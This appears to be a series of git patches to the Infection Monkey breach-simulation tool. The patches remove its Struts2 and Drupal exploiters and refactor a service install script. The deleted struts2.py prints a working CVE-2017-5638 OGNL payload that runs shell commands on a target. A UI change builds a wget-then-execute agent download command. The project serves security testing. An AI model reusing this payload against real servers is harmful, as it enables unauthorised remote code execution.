b/monkey/monkey_island/cc/services/config_schema/basic.py index a67205234..09c5d3e40 100644 --- a/monkey/monkey_island/cc/services/config_schema/basic.py +++ b/monkey/monkey_island/cc/services/config_schema/basic.py @@ -18,7 +18,6 @@ BASIC = { "WmiExploiter", "SSHExploiter", "Log4ShellExploiter", - "Struts2Exploiter", "WebLogicExploiter", "HadoopExploiter", "MSSQLExploiter", diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py index a6e0fbd4d..7f1f3de5f 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py @@ -53,15 +53,6 @@ EXPLOITER_CLASSES = { "link": "https://www.guardicore.com/infectionmonkey/docs/reference" "/exploiters/sshexec/", }, - { - "type": "string", - "enum": ["Struts2Exploiter"], - "title": "Struts2 Exploiter", - "safe": True, - "info": "Exploits struts2 java web framework. CVE-2017-5638. Logic based on " - "https://www.exploit-db.com/exploits/41570 .", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/struts2/", - }, { "type": "string", "enum": ["WebLogicExploiter"], diff --git a/monkey/monkey_island/cc/services/reporting/aws_exporter.py b/monkey/monkey_island/cc/services/reporting/aws_exporter.py index 137b26224..5ec07ecdf 100644 --- a/monkey/monkey_island/cc/services/reporting/aws_exporter.py +++ b/monkey/monkey_island/cc/services/reporting/aws_exporter.py @@ -81,7 +81,6 @@ class AWSExporter(Exporter): "shared_passwords_domain": AWSExporter._handle_shared_passwords_domain_issue, "shared_admins_domain": AWSExporter._handle_shared_admins_domain_issue, "strong_users_on_crit": AWSExporter._handle_strong_users_on_crit_issue, - ExploiterDescriptorEnum.STRUTS2.value.class_name: AWSExporter._handle_struts2_issue, ExploiterDescriptorEnum.WEBLOGIC.value.class_name: AWSExporter._handle_weblogic_issue, ExploiterDescriptorEnum.HADOOP.value.class_name: AWSExporter._handle_hadoop_issue, } @@ -387,24 +386,6 @@ class AWSExporter(Exporter): instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) - @staticmethod - def _handle_struts2_issue(issue, instance_arn): - - return AWSExporter._build_generic_finding( - severity=10, - title="Struts2 servers are vulnerable to remote code execution.", - description="Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.", - recommendation="Struts2 server at {machine} ({ip_address}) is vulnerable to " - "remote code execution attack." - "The attack was made possible because the server is using an old " - "version of Jakarta based file " - "upload Multipart parser.".format( - machine=issue["machine"], ip_address=issue["ip_address"] - ), - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, - ) - @staticmethod def _handle_weblogic_issue(issue, instance_arn): diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py index 2425b6435..6360d7022 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py @@ -28,7 +28,6 @@ class ExploiterDescriptorEnum(Enum): SMB = ExploiterDescriptor("SmbExploiter", "SMB Exploiter", CredExploitProcessor) WMI = ExploiterDescriptor("WmiExploiter", "WMI Exploiter", CredExploitProcessor) SSH = ExploiterDescriptor("SSHExploiter", "SSH Exploiter", CredExploitProcessor) - STRUTS2 = ExploiterDescriptor("Struts2Exploiter", "Struts2 Exploiter", ExploitProcessor) WEBLOGIC = ExploiterDescriptor( "WebLogicExploiter", "Oracle WebLogic Exploiter", ExploitProcessor ) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index f058a3069..2d2352c54 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -20,7 +20,6 @@ import guardicoreLogoImage from '../../images/guardicore-logo.png' import {faExclamationTriangle} from '@fortawesome/free-solid-svg-icons'; import '../../styles/App.css'; import {smbPasswordReport, smbPthReport} from './security/issues/SmbIssue'; -import {struts2IssueOverview, struts2IssueReport} from './security/issues/Struts2Issue'; import {webLogicIssueOverview, webLogicIssueReport} from './security/issues/WebLogicIssue'; import {hadoopIssueOverview, hadoopIssueReport} from './security/issues/HadoopIssue'; import {mssqlIssueOverview, mssqlIssueReport} from './security/issues/MssqlIssue'; @@ -78,11 +77,6 @@ class ReportPageComponent extends AuthComponent { }, [this.issueContentTypes.TYPE]: this.issueTypes.DANGER }, - 'Struts2Exploiter': { - [this.issueContentTypes.OVERVIEW]: struts2IssueOverview, - [this.issueContentTypes.REPORT]: struts2IssueReport, - [this.issueContentTypes.TYPE]: this.issueTypes.DANGER - }, 'WebLogicExploiter': { [this.issueContentTypes.OVERVIEW]: webLogicIssueOverview, [this.issueContentTypes.REPORT]: webLogicIssueReport, diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Struts2Issue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Struts2Issue.js deleted file mode 100644 index ca4c2b2b9..000000000 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Struts2Issue.js +++ /dev/null @@ -1,26 +0,0 @@ -import React from 'react'; -import CollapsibleWellComponent from '../CollapsibleWell'; - -export function struts2IssueOverview() { - return (
  • Struts2 servers are vulnerable to remote code execution. ( - CVE-2017-5638)
  • ) -} - -export function struts2IssueReport(issue) { - return ( - <> - Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions. - - Struts2 server at {issue.machine} ({issue.ip_address}) is vulnerable to remote code execution attack. -
    - The attack was made possible because the server is using an old version of Jakarta based file upload - Multipart parser. For possible work-arounds and more info read here. -
    - - ); -} From 9d09117e7b04e8bc1bb045bfa48647fab998f022 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 8 Apr 2022 12:18:16 +0200 Subject: [PATCH 1054/1110] Agent, UT: Remove Struts2 exploiter --- monkey/infection_monkey/exploit/struts2.py | 90 ------------------- .../automated_master_config.json | 1 - .../monkey_configs/flat_config.json | 1 - .../monkey_config_standard.json | 1 - .../monkey_island/cc/services/test_config.py | 1 - 5 files changed, 94 deletions(-) delete mode 100644 monkey/infection_monkey/exploit/struts2.py diff --git a/monkey/infection_monkey/exploit/struts2.py b/monkey/infection_monkey/exploit/struts2.py deleted file mode 100644 index c576a5fbd..000000000 --- a/monkey/infection_monkey/exploit/struts2.py +++ /dev/null @@ -1,90 +0,0 @@ -""" - Implementation is based on Struts2 jakarta multiparser RCE exploit ( CVE-2017-5638 ) - code used is from https://www.exploit-db.com/exploits/41570/ - Vulnerable struts2 versions <=2.3.31 and <=2.5.10 -""" -import http.client -import logging -import re -import ssl -import urllib.error -import urllib.parse -import urllib.request -from typing import List, Tuple - -from infection_monkey.exploit.web_rce import WebRCE - -logger = logging.getLogger(__name__) - -DOWNLOAD_TIMEOUT = 300 - - -class Struts2Exploiter(WebRCE): - _EXPLOITED_SERVICE = "Struts2" - - def __init__(self, host): - super(Struts2Exploiter, self).__init__(host, None) - - def get_exploit_config(self): - exploit_config = super(Struts2Exploiter, self).get_exploit_config() - exploit_config["dropper"] = True - return exploit_config - - @staticmethod - def build_potential_urls(ip: str, ports: List[Tuple[str, bool]], extensions=None) -> List[str]: - url_list = WebRCE.build_potential_urls(ip, ports) - url_list = [Struts2Exploiter.get_redirected(url) for url in url_list] - return url_list - - @staticmethod - def get_redirected(url): - # Returns false if url is not right - headers = {"User-Agent": "Mozilla/5.0"} - request = urllib.request.Request(url, headers=headers) - try: - return urllib.request.urlopen( - request, context=ssl._create_unverified_context() # noqa: DUO122 - ).geturl() - except urllib.error.URLError: - logger.error("Can't reach struts2 server") - return False - - def exploit(self, url, cmd): - """ - :param url: Full url to send request to - :param cmd: Code to try and execute on host - :return: response - """ - cmd = re.sub(r"\\", r"\\\\", cmd) - cmd = re.sub(r"'", r"\\'", cmd) - payload = ( - "%%{(#_='multipart/form-data')." - "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." - "(#_memberAccess?" - "(#_memberAccess=#dm):" - "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." - "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." - "(#ognlUtil.getExcludedPackageNames().clear())." - "(#ognlUtil.getExcludedClasses().clear())." - "(#context.setMemberAccess(#dm))))." - "(#cmd='%s')." - "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." - "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." - "(#p=new java.lang.ProcessBuilder(#cmds))." - "(#p.redirectErrorStream(true)).(#process=#p.start())." - "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." - "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." - "(#ros.flush())}" % cmd - ) - headers = {"User-Agent": "Mozilla/5.0", "Content-Type": payload} - try: - request = urllib.request.Request(url, headers=headers) - # Timeout added or else we would wait for all monkeys' output - page = urllib.request.urlopen(request).read() - except AttributeError: - # If url does not exist - return False - except http.client.IncompleteRead as e: - page = e.partial.decode() - - return page diff --git a/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json b/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json index e4712defe..db8c43295 100644 --- a/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json +++ b/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json @@ -57,7 +57,6 @@ {"name": "DrupalExploiter", "supported_os": ["linux", "windows"], "options": {}}, {"name": "HadoopExploiter", "supported_os": ["linux", "windows"], "options": {}}, {"name": "ShellShockExploiter", "supported_os": ["linux"], "options": {}}, - {"name": "Struts2Exploiter", "supported_os": ["linux", "windows"], "options": {}}, {"name": "WebLogicExploiter", "supported_os": ["linux", "windows"], "options": {}}, {"name": "ZerologonExploiter", "supported_os": ["windows"], "options": {}} ] diff --git a/monkey/tests/data_for_tests/monkey_configs/flat_config.json b/monkey/tests/data_for_tests/monkey_configs/flat_config.json index b9dae9453..dd0b27a09 100644 --- a/monkey/tests/data_for_tests/monkey_configs/flat_config.json +++ b/monkey/tests/data_for_tests/monkey_configs/flat_config.json @@ -49,7 +49,6 @@ "SmbExploiter", "WmiExploiter", "SSHExploiter", - "Struts2Exploiter", "ZerologonExploiter", "WebLogicExploiter", "HadoopExploiter", diff --git a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json index f0c95e5b3..4dda5f312 100644 --- a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json +++ b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json @@ -5,7 +5,6 @@ "SmbExploiter", "WmiExploiter", "SSHExploiter", - "Struts2Exploiter", "WebLogicExploiter", "HadoopExploiter", "MSSQLExploiter", diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py index b49007eb0..b8b7ff1c3 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py @@ -202,7 +202,6 @@ def test_format_config_for_agent__exploiters(flat_monkey_config): {"name": "DrupalExploiter", "supported_os": [], "options": {}}, {"name": "HadoopExploiter", "supported_os": ["linux", "windows"], "options": {}}, {"name": "Log4ShellExploiter", "supported_os": ["linux", "windows"], "options": {}}, - {"name": "Struts2Exploiter", "supported_os": [], "options": {}}, {"name": "WebLogicExploiter", "supported_os": [], "options": {}}, {"name": "ZerologonExploiter", "supported_os": ["windows"], "options": {}}, ], From 3ecaff06860bf155d6dce5cca75e87aad28081f8 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 8 Apr 2022 12:19:04 +0200 Subject: [PATCH 1055/1110] Project: Remove Struts2 entry from vulture --- vulture_allowlist.py | 1 - 1 file changed, 1 deletion(-) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index bf1244f93..4889487a2 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -56,7 +56,6 @@ credential_type # unused variable (monkey/monkey_island/cc/services/reporting/i password_restored # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py:23) SSH # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:30) SAMBACRY # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:31) -STRUTS2 # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:39) WEBLOGIC # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:40) HADOOP # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:43) MSSQL # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:44) From 4793e818312b0a64f07c6fa7ae6154a689dea30c Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 8 Apr 2022 12:19:34 +0200 Subject: [PATCH 1056/1110] Changelog: Add entry for removal of Struts2 exploiter --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 089bf8930..856724536 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -54,6 +54,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - 32-bit agents. #1675 - Log path config options. #1761 - "smb_service_name" option. #1741 +- Struts2 exploiter. #1869 ### Fixed - A bug in network map page that caused delay of telemetry log loading. #1545 From 378b5178c550381e912d81473c99bbf93ab6e4e4 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 8 Apr 2022 20:59:38 +0530 Subject: [PATCH 1057/1110] BB: Relate references to the Drupal machine in the Zoo --- envs/monkey_zoo/terraform/images.tf | 4 ---- envs/monkey_zoo/terraform/monkey_zoo.tf | 15 --------------- 2 files changed, 19 deletions(-) diff --git a/envs/monkey_zoo/terraform/images.tf b/envs/monkey_zoo/terraform/images.tf index f74f0b7d9..60482d41d 100644 --- a/envs/monkey_zoo/terraform/images.tf +++ b/envs/monkey_zoo/terraform/images.tf @@ -111,10 +111,6 @@ data "google_compute_image" "zerologon-25" { name = "zerologon-25" project = local.monkeyzoo_project } -data "google_compute_image" "drupal-28" { - name = "drupal-28" - project = local.monkeyzoo_project -} data "google_compute_image" "island-linux-250" { name = "island-linux-250" project = local.monkeyzoo_project diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf index 73ea338b3..08f9ff500 100644 --- a/envs/monkey_zoo/terraform/monkey_zoo.tf +++ b/envs/monkey_zoo/terraform/monkey_zoo.tf @@ -525,21 +525,6 @@ resource "google_compute_instance_from_template" "zerologon-25" { } } -resource "google_compute_instance_from_template" "drupal-28" { - name = "${local.resource_prefix}drupal-28" - source_instance_template = local.default_windows - boot_disk{ - initialize_params { - image = data.google_compute_image.drupal-28.self_link - } - auto_delete = true - } - network_interface { - subnetwork="${local.resource_prefix}monkeyzoo-main" - network_ip="10.2.2.28" - } -} - resource "google_compute_instance_from_template" "island-linux-250" { name = "${local.resource_prefix}island-linux-250" machine_type = "n1-standard-2" From 533a1b7d9834a0d92b33664a7e4d68a7e23fd218 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 8 Apr 2022 21:02:13 +0530 Subject: [PATCH 1058/1110] Changelog: Add entry for removing Drupal exploiter --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 089bf8930..0bd149973 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -54,6 +54,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - 32-bit agents. #1675 - Log path config options. #1761 - "smb_service_name" option. #1741 +- Drupal exploiter. #1869 ### Fixed - A bug in network map page that caused delay of telemetry log loading. #1545 From 59aec706b2629e59e9b8d87f41330def5fe9f507 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 8 Apr 2022 15:07:23 +0200 Subject: [PATCH 1059/1110] UI: Add output to the wget manual run command --- .../components/pages/RunMonkeyPage/commands/local_linux_wget.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_wget.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_wget.js index 9e67681d1..2549c7272 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_wget.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_wget.js @@ -1,6 +1,6 @@ export default function generateLocalLinuxWget(ip, username) { let command = `wget --no-check-certificate https://${ip}:5000/api/monkey/download/` - + `linux; ` + + `linux -O ./monkey-linux-64; ` + `chmod +x monkey-linux-64; ` + `./monkey-linux-64 m0nk3y -s ${ip}:5000`; From a671c11f7419d9bdf9d93aae9ed3983eab99db4a Mon Sep 17 00:00:00 2001 From: EliaOnceAgain Date: Fri, 8 Apr 2022 14:53:18 +0300 Subject: [PATCH 1060/1110] Deploy: Help msg format, func names, service name, validity checks --- .../install-infection-monkey-service.sh | 105 +++++++++++------- 1 file changed, 67 insertions(+), 38 deletions(-) diff --git a/deployment_scripts/install-infection-monkey-service.sh b/deployment_scripts/install-infection-monkey-service.sh index dd627f172..2d22501d4 100755 --- a/deployment_scripts/install-infection-monkey-service.sh +++ b/deployment_scripts/install-infection-monkey-service.sh @@ -2,25 +2,32 @@ set -e -SCRIPT_DIR="$(realpath $(dirname $BASH_SOURCE[0]))" -SYSTEMD_UNIT_FILENAME="monkey-appimage.service" +SCRIPT_DIR="$(realpath "$(dirname "${BASH_SOURCE[0]}")")" +SYSTEMD_UNIT_FILENAME="infection-monkey.service" SYSTEMD_DIR="/lib/systemd/system" MONKEY_BIN="/opt/infection-monkey/bin" APPIMAGE_NAME="InfectionMonkey.appimage" echo_help() { - echo "usage: install-infection-monkey-service.sh [--user --appimage ] [--help] [--uninstall]" + echo "Installs Infection Monkey service to run on boot" echo "" - echo "Installs Infection Monkey AppImage and systemd unit to run on boot" - echo "--user User to run the AppImage as" - echo "--appimage Path to the AppImage" - echo "--uninstall Uninstall Infection Monkey AppImage systemd service" + echo "Usage:" + echo " install-infection-monkey-service.sh --user --appimage " + echo " install-infection-monkey-service.sh --uninstall" + echo " install-infection-monkey-service.sh -h|--help" + echo "" + echo "Options:" + echo " --user User to run the service as" + echo " --appimage Path to AppImage" + echo " --uninstall Uninstall Infection Monkey service" } -service_install() { +install_service() { + move_appimage "$2" + cat > "${SCRIPT_DIR}/${SYSTEMD_UNIT_FILENAME}" << EOF [Unit] -Description=Infection Monkey AppImage Runner +Description=Infection Monkey Runner After=network.target [Service] @@ -33,15 +40,13 @@ WantedBy=multi-user.target EOF sudo mv "${SCRIPT_DIR}/${SYSTEMD_UNIT_FILENAME}" "${SYSTEMD_DIR}/${SYSTEMD_UNIT_FILENAME}" - - # Enable on boot sudo systemctl enable "${SYSTEMD_UNIT_FILENAME}" &>/dev/null - sudo systemctl daemon-reload + + echo -e "The Infection Monkey service has been installed and will start on boot.\n\ +Run 'systemctl start infection-monkey' to start the service now." } -service_uninstall() { - echo "Uninstalling Infection Monkey AppImage systemd service..." - +uninstall_service() { if [ -f "${MONKEY_BIN}/${APPIMAGE_NAME}" ] ; then sudo rm -f "${MONKEY_BIN}/${APPIMAGE_NAME}" fi @@ -53,7 +58,31 @@ service_uninstall() { sudo systemctl daemon-reload fi - exit 0 + echo "The Infection Monkey service has been uninstalled" +} + +user_can_execute() { + sudo -u "$1" test -x "$2" +} + +move_appimage() { + sudo mkdir -p "${MONKEY_BIN}" + + if [ "$1" != "${MONKEY_BIN}/${APPIMAGE_NAME}" ] ; then + sudo cp "$appimage_path" "${MONKEY_BIN}/${APPIMAGE_NAME}" + fi +} + +user_exists() { + id -u "$1" &>/dev/null +} + +assert_flag() { + if [ -z "$2" ] ; then + echo "Error: missing flag '$1'" + echo_help + exit 1 + fi } has_sudo() { @@ -69,6 +98,7 @@ exit_if_missing_argument() { fi } +do_uninstall=false uname="" appimage_path="" @@ -87,7 +117,8 @@ while (( "$#" )); do shift 2 ;; --uninstall) - service_uninstall + do_uninstall=true + shift ;; -h|--help) echo_help @@ -106,33 +137,31 @@ Run \`sudo -v\`, enter your password, and then re-run this script." exit 1 fi -# input sanity -if [ -z "$uname" ] || [ -z "$appimage_path" ] ; then - echo "Error: missing flags" - echo_help +if $do_uninstall ; then + uninstall_service + exit 0 +fi + +assert_flag "--user" "$uname" +assert_flag "--appimage" "$appimage_path" + +if ! user_exists "$uname" ; then + echo "Error: User '$uname' does not exist" exit 1 fi -# specified user exists -if ! id -u "$uname" &>/dev/null ; then - echo "Error: User does not exist '${uname}'" - exit 1 -fi - -# appimage path exists -if [ ! -f "${appimage_path}" ] ; then - if [ ! -f "${SCRIPT_DIR}/${appimage_path}" ] ; then - echo "Error: AppImage path does not exist: '${appimage_path}'" +if [ ! -f "$appimage_path" ] ; then + if [ ! -f "${SCRIPT_DIR}/$appimage_path" ] ; then + echo "Error: AppImage '$appimage_path' does not exist" exit 1 fi - appimage_path="${SCRIPT_DIR}/${appimage_path}" + appimage_path="${SCRIPT_DIR}/$appimage_path" fi -# move appimge to dst dir -sudo mkdir -p "${MONKEY_BIN}" -if [ "$appimage_path" != "${MONKEY_BIN}/${APPIMAGE_NAME}" ] ; then - sudo cp "$appimage_path" "${MONKEY_BIN}/${APPIMAGE_NAME}" +if ! user_can_execute "$uname" "$appimage_path" ; then + echo "Error: User '$uname' does not have execute permission on '$appimage_path'" + exit 1 fi -service_install "${uname}" -echo "Installation done. " +install_service "$uname" "$appimage_path" + From 4f3b2253d5dde4795dc64207b1478e93a4f34ee1 Mon Sep 17 00:00:00 2001 From: EliaOnceAgain Date: Sun, 10 Apr 2022 18:20:39 +0300 Subject: [PATCH 1061/1110] Deploy: Set appimage executable, rename assert_flag to assert_parameter_supplied --- .../install-infection-monkey-service.sh | 17 +++++------------ 1 file changed, 5 insertions(+), 12 deletions(-) diff --git a/deployment_scripts/install-infection-monkey-service.sh b/deployment_scripts/install-infection-monkey-service.sh index 2d22501d4..50660dd40 100755 --- a/deployment_scripts/install-infection-monkey-service.sh +++ b/deployment_scripts/install-infection-monkey-service.sh @@ -61,23 +61,21 @@ uninstall_service() { echo "The Infection Monkey service has been uninstalled" } -user_can_execute() { - sudo -u "$1" test -x "$2" -} - move_appimage() { sudo mkdir -p "${MONKEY_BIN}" if [ "$1" != "${MONKEY_BIN}/${APPIMAGE_NAME}" ] ; then sudo cp "$appimage_path" "${MONKEY_BIN}/${APPIMAGE_NAME}" fi + + sudo chmod a+x "${MONKEY_BIN}/${APPIMAGE_NAME}" } user_exists() { id -u "$1" &>/dev/null } -assert_flag() { +assert_parameter_supplied() { if [ -z "$2" ] ; then echo "Error: missing flag '$1'" echo_help @@ -142,8 +140,8 @@ if $do_uninstall ; then exit 0 fi -assert_flag "--user" "$uname" -assert_flag "--appimage" "$appimage_path" +assert_parameter_supplied "--user" "$uname" +assert_parameter_supplied "--appimage" "$appimage_path" if ! user_exists "$uname" ; then echo "Error: User '$uname' does not exist" @@ -158,10 +156,5 @@ if [ ! -f "$appimage_path" ] ; then appimage_path="${SCRIPT_DIR}/$appimage_path" fi -if ! user_can_execute "$uname" "$appimage_path" ; then - echo "Error: User '$uname' does not have execute permission on '$appimage_path'" - exit 1 -fi - install_service "$uname" "$appimage_path" From 149103e9ba27fab2f4e8110b16df84674e861980 Mon Sep 17 00:00:00 2001 From: EliaOnceAgain Date: Sun, 10 Apr 2022 18:30:14 +0300 Subject: [PATCH 1062/1110] Deploy: Don't chmod if appimage hasn't changed --- deployment_scripts/install-infection-monkey-service.sh | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/deployment_scripts/install-infection-monkey-service.sh b/deployment_scripts/install-infection-monkey-service.sh index 50660dd40..bc9c36ae3 100755 --- a/deployment_scripts/install-infection-monkey-service.sh +++ b/deployment_scripts/install-infection-monkey-service.sh @@ -66,9 +66,8 @@ move_appimage() { if [ "$1" != "${MONKEY_BIN}/${APPIMAGE_NAME}" ] ; then sudo cp "$appimage_path" "${MONKEY_BIN}/${APPIMAGE_NAME}" + sudo chmod a+x "${MONKEY_BIN}/${APPIMAGE_NAME}" fi - - sudo chmod a+x "${MONKEY_BIN}/${APPIMAGE_NAME}" } user_exists() { From f00ebef9f3eb68660dfcaa940204e9c243dd458e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Sun, 10 Apr 2022 09:58:50 -0400 Subject: [PATCH 1063/1110] Deploy: Fix minor issues in Usage of install-infection-monkey-service.sh --- deployment_scripts/install-infection-monkey-service.sh | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/deployment_scripts/install-infection-monkey-service.sh b/deployment_scripts/install-infection-monkey-service.sh index bc9c36ae3..4fa8e2aba 100755 --- a/deployment_scripts/install-infection-monkey-service.sh +++ b/deployment_scripts/install-infection-monkey-service.sh @@ -9,17 +9,17 @@ MONKEY_BIN="/opt/infection-monkey/bin" APPIMAGE_NAME="InfectionMonkey.appimage" echo_help() { - echo "Installs Infection Monkey service to run on boot" + echo "Installs the Infection Monkey service to run on boot." echo "" echo "Usage:" - echo " install-infection-monkey-service.sh --user --appimage " + echo " install-infection-monkey-service.sh --user --appimage " echo " install-infection-monkey-service.sh --uninstall" echo " install-infection-monkey-service.sh -h|--help" echo "" echo "Options:" echo " --user User to run the service as" - echo " --appimage Path to AppImage" - echo " --uninstall Uninstall Infection Monkey service" + echo " --appimage Path to AppImage" + echo " --uninstall Uninstall the Infection Monkey service" } install_service() { @@ -156,4 +156,3 @@ if [ ! -f "$appimage_path" ] ; then fi install_service "$uname" "$appimage_path" - From 176e91f5331d4c09978cdf2a3e24186294941cbe Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Sun, 10 Apr 2022 14:31:51 -0400 Subject: [PATCH 1064/1110] Deploy: Set permissions of deployed AppImage to 755 --- deployment_scripts/install-infection-monkey-service.sh | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/deployment_scripts/install-infection-monkey-service.sh b/deployment_scripts/install-infection-monkey-service.sh index 4fa8e2aba..fe2789426 100755 --- a/deployment_scripts/install-infection-monkey-service.sh +++ b/deployment_scripts/install-infection-monkey-service.sh @@ -65,8 +65,9 @@ move_appimage() { sudo mkdir -p "${MONKEY_BIN}" if [ "$1" != "${MONKEY_BIN}/${APPIMAGE_NAME}" ] ; then + umask 022 sudo cp "$appimage_path" "${MONKEY_BIN}/${APPIMAGE_NAME}" - sudo chmod a+x "${MONKEY_BIN}/${APPIMAGE_NAME}" + sudo chmod 755 "${MONKEY_BIN}/${APPIMAGE_NAME}" fi } From f42a3bdaad121d9c00beeca672165f4e6569d764 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Sun, 10 Apr 2022 14:32:38 -0400 Subject: [PATCH 1065/1110] Deploy: Improve missing argument error message --- deployment_scripts/install-infection-monkey-service.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/deployment_scripts/install-infection-monkey-service.sh b/deployment_scripts/install-infection-monkey-service.sh index fe2789426..2bc8ec1f1 100755 --- a/deployment_scripts/install-infection-monkey-service.sh +++ b/deployment_scripts/install-infection-monkey-service.sh @@ -77,7 +77,7 @@ user_exists() { assert_parameter_supplied() { if [ -z "$2" ] ; then - echo "Error: missing flag '$1'" + echo "Error: missing required parameter '$1'" echo_help exit 1 fi @@ -91,7 +91,7 @@ has_sudo() { exit_if_missing_argument() { if [ -z "$2" ] || [ "${2:0:1}" == "-" ]; then - echo "Error: Argument for $1 is missing" >&2 + echo "Error: Argument for parameter '$1' is missing" >&2 exit 1 fi } From 3aa6d4a1197d8c3c5a2b6aad157c2a051c59a6bb Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Sun, 10 Apr 2022 14:34:10 -0400 Subject: [PATCH 1066/1110] Deploy: Set `umask 077` before deploying systemd unit --- deployment_scripts/install-infection-monkey-service.sh | 1 + 1 file changed, 1 insertion(+) diff --git a/deployment_scripts/install-infection-monkey-service.sh b/deployment_scripts/install-infection-monkey-service.sh index 2bc8ec1f1..76f0bc453 100755 --- a/deployment_scripts/install-infection-monkey-service.sh +++ b/deployment_scripts/install-infection-monkey-service.sh @@ -39,6 +39,7 @@ ExecStart="${MONKEY_BIN}/${APPIMAGE_NAME}" WantedBy=multi-user.target EOF + umask 077 sudo mv "${SCRIPT_DIR}/${SYSTEMD_UNIT_FILENAME}" "${SYSTEMD_DIR}/${SYSTEMD_UNIT_FILENAME}" sudo systemctl enable "${SYSTEMD_UNIT_FILENAME}" &>/dev/null From c8e4a4f0ef40f094d4227865db6ec35c07034e5b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Sun, 10 Apr 2022 14:38:24 -0400 Subject: [PATCH 1067/1110] Deploy: Display help if missing arguments --- deployment_scripts/install-infection-monkey-service.sh | 1 + 1 file changed, 1 insertion(+) diff --git a/deployment_scripts/install-infection-monkey-service.sh b/deployment_scripts/install-infection-monkey-service.sh index 